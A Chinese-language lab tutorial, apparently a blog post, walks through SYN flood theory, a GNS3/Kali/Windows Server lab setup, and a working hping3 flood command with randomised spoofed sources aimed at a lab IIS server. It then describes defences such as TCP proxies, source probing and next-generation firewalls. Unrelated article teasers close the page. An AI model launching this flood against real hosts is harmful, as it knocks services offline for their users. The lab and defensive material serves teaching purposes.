网络协议与攻击模拟_06攻击模拟SYN Flood
一、SYN Flood原理
在TCP三次握手过程中,
- 客户端发送一个SYN包给服务器
- 服务端接收到SYN包后,会回复SYN+ACK包给客户端,然后等待客户端回复ACK包。
- 但此时客户端并不会回复ACK包,所以服务端就只能一直等待直到超时。服务端超时后会重发SYN+ACK包给客户端,默认会重试5次,而且每次等待的时间都会增加。
服务器收到客户端发来的SYN会建立一个半连接状态的Socket,当客户端在一定时间内持续不断的发大量的SYN包但不回复ACK包,就会耗尽服务端的资源,这就是SYN Flood攻击。
二、模拟SYN Flood攻击
1、实验环境
kali、Windows10、GNS3
2、网络拓扑
3、实验配置
- GNS3路由器
R1#conf t
Enter configuration commands, one per line. End with CNTL/Z.
R1(config)#int f0/0
R1(config-if)#ip add 192.168.10.254 255.255.255.0
R1(config-if)#no shut
R1(config-if)#exit
R1(config)#int f1/0
R1(config-if)#ip add 192.168.100.254 255.255.255.0
R1(config-if)#no shut
R1(config-if)#
- kali虚拟机配置网卡eth0
#打开interfaces文件并添加eth0网卡
┌──(root㉿kali)-[/home/kali]
└─# vim /etc/network/interfaces

- 启用网卡并查看IP配置是否成功
┌──(root㉿kali)-[/home/kali]
└─# ifdown eth0
ifdown: interface eth0 not configured┌──(root㉿kali)-[/home/kali]
└─# ifup eth0#ifconfig查看上述更改是否生效
┌──(root㉿kali)-[/home/kali]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500inet 192.168.10.1 netmask 255.255.255.0 broadcast 192.168.10.255inet6 fe80::20c:29ff:fee2:4449 prefixlen 64 scopeid 0x20<link>ether 00:0c:29:e2:44:49 txqueuelen 1000 (Ethernet)RX packets 552 bytes 47915 (46.7 KiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 51 bytes 7410 (7.2 KiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536inet 127.0.0.1 netmask 255.0.0.0inet6 ::1 prefixlen 128 scopeid 0x10<host>loop txqueuelen 1000 (Local Loopback)RX packets 18558 bytes 1513808 (1.4 MiB)RX errors 0 dropped 0 overruns 0 frame 0TX packets 18558 bytes 1513808 (1.4 MiB)TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0#ping测试看网关是否可达
┌──(root㉿kali)-[/home/kali]
└─# ping 192.168.10.254
PING 192.168.10.254 (192.168.10.254) 56(84) bytes of data.
64 bytes from 192.168.10.254: icmp_seq=1 ttl=255 time=44.6 ms
64 bytes from 192.168.10.254: icmp_seq=2 ttl=255 time=25.1 ms
^C
--- 192.168.10.254 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 25.077/34.838/44.599/9.761 ms
- 查看kali路由:
└─# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.10.254 0.0.0.0 UG 0 0 0 eth0
192.168.10.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
- Windows使用命令配静态IP
C:\Windows\system32>netsh interface ip set address "Ethernet0" static 192.168.100.1 255.255.255.0 192.168.100.254
#查看IP是否设置成功 C:\Windows\system32>ipconfig
#ping测试看网关是否可达 C:\Windows\system32>ping 192.168.100.254

ping测试 :kali 虚拟机pingWindows server 2016虚拟机

4、搭建IIS服务
- Windows server 2016上面搭建IIS服务并在本地进行访问

- kali火狐浏览器访问

肉鸡:几十万台同时在发几十万个包
DDOS计算的是同时的流量
5、实施SYN Flood攻击
- 工具:kali (hping3 )
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.100.1
#-c 发送 包的数量
#-d 发送包的大小
#-S 只发送SYN的报文
-w 指定Windows窗口大小
#-p 指定目标端口80
#--flood
#--rand-source发请求的时候指定随机的IP
#服务器的IP

- 多开几个shell进行 SYN Flood攻击:

- 抓到的ICMP数据包

三、如何防御SYN Flood
1、使用TCP代理的方式
客户机先和代理服务器建立TCP连接,代理服务器收到TCP的ACK后,再将数据转发给服务器

如果用DDOS服务器将代理服务器打掉了,服务器也不能正常提供服务了,因为服务器是通过代理来提供服务的。代理:选代理一般使用高性能防火墙。
2、TCP的源探测,探测发送方
client发送syn请求,防火墙伪造SYN+ACk报文,如果客户机是虚假的源就不会响应,如果客户机是真实的源,就会发一个重新建立连接请求的RST报文。防火墙收到RST报文得知客户机是真实的,放通将数据传到服务器。

知识补充:下一代防火墙NGFW
不同信任级别的网络之间的一个线速(wire-speed)实时防护设备,能够对流量执行深度检测,并阻断攻击。
- 前向兼容传统防火墙的功能,包括包过滤、协议状态过滤、NAT和VPN。
- 具备应用感知能力,能基于应用实施精细化的安全管控策略和层次化的带宽管理手段。
- 支持IPS功能,实现IPS(入侵防御系统)与防火墙的深度融合。
IPS系统是位于防火墙和网络的设备之间的设备,当检测到攻击时,IPS会在这种攻击扩散到网络其他地方前阻止这个恶意通信。
NGFW可以根据IPS检测的恶意流量自动更新下发安全策略,而不需要管理员介入。 - 利用防火墙以外的信息,增强管控能力
如利用ITit系统提供的用户信息、位置信息、漏洞和网络资源信息等,帮助改进和优化安全策略。如:通过集成用户认证系统,实现基于用户的安全策略,以应对移动办公场景下IP地址变化带来的管控难题。
相关文章:
网络协议与攻击模拟_06攻击模拟SYN Flood
一、SYN Flood原理 在TCP三次握手过程中, 客户端发送一个SYN包给服务器服务端接收到SYN包后,会回复SYNACK包给客户端,然后等待客户端回复ACK包。但此时客户端并不会回复ACK包,所以服务端就只能一直等待直到超时。服务端超时后会…...
CPU,内存和硬盘之间的关系
计算机三大件:CPU,内存,硬盘。从运算速度来看,CPU>内存>固态硬盘>机械硬盘。 电脑卡顿怎么解决? 1、清理垃圾; 2、释放C盘空间,因为系统需要C盘空间当作虚拟内存; 3、增…...
Java面试题之基础篇
文章目录 一:谈谈你对面向对象的理解二:JDK、JRE、JVM三者区别和联系三:和equals比较四:hashCode与equals五:final六:String、StringBuffer、StringBuilder七:重载与重写的区别?八&a…...
Bitbucket第一次代码仓库创建/提交/创建新分支/合并分支/忽略ignore
1. 首先要在bitbucket上创建一个项目,这个我没有权限创建,是找的管理员创建的。 管理员创建之后,这个项目给了我权限,我就可以创建我的代码仓库了。 2. 点击这个Projects下的具体项目名字,就会进入这样一个页面&#…...
c#反射用法
在 C# 中,反射是一种能够在运行时检查类型信息、访问属性和调用方法的机制。通过反射,你可以动态地操作类型、对象和程序集,而无需在编译时知道这些类型的具体信息。 反射提供了一组 API,可以让你在运行时获取和操作类型的信息。…...
WPF行为
背景:实现按钮鼠标移动到上方有点交互效果或变一下有阴影。这样使用触发器就行了,但是如果是每个控件都有效果的话使用行为更加合适 1、下载NuGet包:Microsoft.xaml.behavior.wpf 2、创建行为类EffectBehavior,对Behavior进行重写…...
N-141基于springboot,vue网上拍卖平台
开发工具:IDEA 服务器:Tomcat9.0, jdk1.8 项目构建:maven 数据库:mysql5.7 系统分前后台,项目采用前后端分离 前端技术:vueelementUI 服务端技术:springbootmybatis-plusredi…...
Unity之Cinemachine教程
前言 Cinemachine是Unity引擎的一个高级相机系统,旨在简化和改善游戏中的相机管理。Cinemachine提供了一组强大而灵活的工具,可用于创建令人印象深刻的视觉效果,使开发人员能够更轻松地掌控游戏中的摄像机行为。 主要功能和特性包括&#x…...
java面面试面经(面试过程)
一、校招一面面经 1.1 自我介绍(2min) 1.2 要求介绍项目一项目亮点以及做的具体工作 根据介绍项目进行细挖,其中包括方案设计、场景设计等等等 由于项目一种涉及数据库源的转换问题和限流方案,所以面试官拷打的是这两块,其中包括场景题&…...
大语言模型-大模型基础文献
大模型基础 1、Attention Is All You Need https://arxiv.org/abs/1706.03762 attention is all you need 2、Sequence to Sequence Learning with Neural Networks https://arxiv.org/abs/1409.3215 基于深度神经网络(DNN)的序列到序列学习方法 3、…...
【RH850U2A芯片】Reset Vector和Interrupt Vector介绍
目录 前言 正文 1. 什么是Reset Vector 1.1 S32K144芯片的Reset Vector 1.2 RH850芯片的Reset Vector 2. 什么是Interrupt Vector 2.1 S32K144芯片的Interrupt Vector 2.2 RH850芯片的Interrupt Vector 3. Reset Vector等价于Interrupt Vector吗 4. 总结 前言 最近在…...
Zabbix交换分区使用率过高排查
Zabbix High swap space usage 问题现象 Zabbix 出现Highswap space usage(less than 50% free)告警,提示交换分区空间使用率超过50% 处理过程 1. 确定swap分区是否已占满 free -h登录Zabbix服务器检查内存情况,检查发现Linux服务器空闲的内存还有不少…...
‘HEAD‘ 是 HTTP 请求的一种方法
一、名词解释 ‘HEAD’ 是 HTTP 请求的一种方法,它与 ‘GET’ 方法类似,但有一些关键区别。 当你使用 ‘GET’ 请求时,服务器会返回请求的资源(例如 HTML 页面或文件内容)。而当你使用 ‘HEAD’ 请求时,服务…...
go语言(十七)----json
1、结构体转json package mainimport ("encoding/json""fmt" )type Movie struct{Title string json:"title"Year int json:"year"Price int json:"rmb"Actors []string json:"actors" }func main() {movie : Mo…...
Java笔记 --- 四、异常
四、异常 Java.lang.Throwable Error Exception(异常) 异常的作用 异常的处理方式 JVM默认的处理方式 捕获异常(自己处理) try里面没有出现异常,就不会运行catch里面的代码 如果出现多个异常,需要多个c…...
Ubuntu20.04配置grub ,不必每次都输入 nomodeset
一、查看原来的grub配置: grep menuentry /boot/grub/grub.cfg 重点注意以下类似的核心版本号 gnulinux-5.15.0-92-generic-advanced-86a86651-8070-4338-92ee-8a1a13a98a05 gnulinux-5.15.0-67-generic-advanced-86a86651-8070-4338-92ee-8a1a13a98a05 …...
PBM模型学习(七)核化模型
Nucleation Rate 返回的是成核速率:单位时间内,多少个小颗粒生成,单位,个,/对于fluent而言,这个是对于网格而言,所以单位是:个/m3*s 成核:从无到有,形成一个…...
蓝桥小白赛4 乘飞机 抽屉原理 枚举
👨🏫 乘飞机 🐷 抽屉原理 import java.util.Scanner;public class Main {static int N 100010;static int[] a new int[N];public static void main(String[] args){Scanner sc new Scanner(System.in);int n sc.nextInt();int q s…...
HTML新手教程
HTML入门 教程:【狂神说Java】HTML5完整教学通俗易懂_哔哩哔哩_bilibili 一.初识HTML HyperTextMarkupLanguage(超文本标记语言) 超文本包括:文字、图片、音频、视频、动画。 HTML5的优势 世界知名浏览器厂商对HTML5的支持市场的…...
P1226 【模板】快速幂题解
题目 给你三个整数a,b,p,求 mod p。 输入输出格式 输入格式 输入只有一行三个整数,分别代表a,b,p。 输出格式 输出一行一个字符串a^b mod ps,其中a,b,p分别为题目给定的值,s为运算结果。 输入输出样例 输入样例 2 10 9 …...
基于WPF开发桌面AI助手:架构设计与实现详解
1. 项目概述:一个开源的WPF桌面AI助手 最近在GitHub上看到一个挺有意思的项目,叫“MayDay-wpf/AIBotPublic”。光看名字,可能有点摸不着头脑,但点进去研究一下,你会发现这其实是一个用WPF(Windows Present…...
HS2-HF_Patch终极指南:一键为Honey Select 2安装完整增强补丁
HS2-HF_Patch终极指南:一键为Honey Select 2安装完整增强补丁 【免费下载链接】HS2-HF_Patch Automatically translate, uncensor and update HoneySelect2! 项目地址: https://gitcode.com/gh_mirrors/hs/HS2-HF_Patch HS2-HF_Patch是专为《Honey Select 2》…...
SAP KO88结算时,如何用BADI_FINS_ACDOC_POSTING_EVENTS把成本中心塞进自定义字段?
SAP KO88结算实战:通过BADI_FINS_ACDOC_POSTING_EVENTS实现成本中心到自定义字段的精准映射 在SAP工单结算(KO88)的复杂业务场景中,财务凭证的标准化字段往往无法满足企业多维度的分析需求。特别是当需要将特定成本中心信息映射到…...
Source Han Serif CN:企业级开源字体终极实战指南
Source Han Serif CN:企业级开源字体终极实战指南 【免费下载链接】source-han-serif-ttf Source Han Serif TTF 项目地址: https://gitcode.com/gh_mirrors/so/source-han-serif-ttf 在当今数字化时代,企业面临字体选择的两难困境:商…...
告别混乱信号!用CANdb++ Editor从零搭建汽车CAN网络DBC文件(保姆级图文教程)
告别混乱信号!用CANdb Editor从零搭建汽车CAN网络DBC文件(保姆级图文教程) 在汽车电子开发领域,CAN总线如同神经脉络般贯穿整车系统。我曾参与过一个新能源整车项目,由于早期缺乏规范的DBC文件,不同ECU厂商…...
解放你的游戏时间:三月七小助手——星穹铁道自动化终极指南
解放你的游戏时间:三月七小助手——星穹铁道自动化终极指南 【免费下载链接】March7thAssistant 崩坏:星穹铁道全自动 三月七小助手 项目地址: https://gitcode.com/gh_mirrors/ma/March7thAssistant 还在为《崩坏:星穹铁道》中重复的…...
Go语言静态站点生成器Zeuxis:极简架构与高性能构建实践
1. 项目概述:一个轻量级、高性能的静态站点生成器最近在折腾个人博客和文档站点,发现市面上的静态站点生成器虽然多,但要么配置复杂、学习曲线陡峭,要么过于臃肿,启动和构建速度慢得让人抓狂。直到我遇到了bnomei/zeux…...
Deep Lake:AI数据湖实战指南,解决深度学习数据管理难题
1. 项目概述:当数据湖遇上深度学习如果你在深度学习项目里被数据管理搞得焦头烂额过,那你肯定懂我在说什么。模型训练到一半,发现数据版本不对,或者想对海量图像、视频做快速查询和采样,结果被IO速度卡得死死的。传统的…...
智能体开发实战:从框架选型到部署优化的完整指南
1. 项目概述:一个为智能体开发者准备的“军火库”如果你正在或打算踏入智能体(Agent)开发这个领域,那么你很可能已经体会过那种“万事开头难”的迷茫。从选择哪个框架开始,到如何设计一个有效的智能体工作流࿰…...
智能游戏助手:League Akari如何彻底改变你的英雄联盟体验
智能游戏助手:League Akari如何彻底改变你的英雄联盟体验 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 你是否曾在英雄选择阶段手…...
